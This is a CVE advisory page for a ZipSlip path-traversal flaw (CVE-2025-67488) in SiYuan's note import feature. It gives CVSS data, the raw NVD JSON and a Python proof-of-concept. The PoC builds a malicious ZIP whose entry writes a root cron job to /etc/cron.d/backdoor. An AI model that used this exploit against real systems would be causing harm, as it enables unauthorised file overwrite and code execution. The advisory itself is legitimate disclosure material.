Security Vulnerability Report
中文
CVE-2025-67488 CVSS 7.8 HIGH

CVE-2025-67488

Published: 2025-12-09 21:16:00
Last Modified: 2026-01-30 19:30:11

Description

SiYuan is self-hosted, open source personal knowledge management software. Versions 0.0.0-20251202123337-6ef83b42c7ce and below contain function importZipMd which is vulnerable to ZipSlips, allowing an authenticated user to overwrite files on the system. An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, and can escalate to full code execution under some circumstances. A fix is planned for version 3.5.0.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:* - VULNERABLE
SiYuan < 3.5.0
SiYuan 0.0.0-20251202123337-6ef83b42c7ce及以下版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zipfile import os import sys def create_zip_slip_poc(): """ Generate a malicious ZIP file exploiting ZipSlip vulnerability in SiYuan's importZipMd function. CVE-2025-67488 PoC """ target_path = "../../../../etc/cron.d/backdoor" malicious_content = b"* * * * * root /tmp/malicious.sh\n" zip_path = "poc_zip_slip.zip" with zipfile.ZipFile(zip_path, 'w') as zf: # Create entry with path traversal in filename info = zipfile.ZipInfo(target_path) info.compress_type = zipfile.ZIP_DEFLATED zf.writestr(info, malicious_content) print(f"PoC ZIP file created: {zip_path}") print(f"Malicious file path in archive: {target_path}") print("Usage: Import this ZIP file through SiYuan's import function") return zip_path if __name__ == "__main__": create_zip_slip_poc()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67488", "sourceIdentifier": "[email protected]", "published": "2025-12-09T21:16:00.317", "lastModified": "2026-01-30T19:30:11.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is self-hosted, open source personal knowledge management software. Versions 0.0.0-20251202123337-6ef83b42c7ce and below contain function importZipMd which is vulnerable to ZipSlips, allowing an authenticated user to overwrite files on the system. An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, and can escalate to full code execution under some circumstances. A fix is planned for version 3.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.0", "matchCriteriaId": "66019619-6B6D-47D8-9546-9E3AF6053473"}]}]}], "references": [{"url": "https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gqfv-g4v7-m366", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}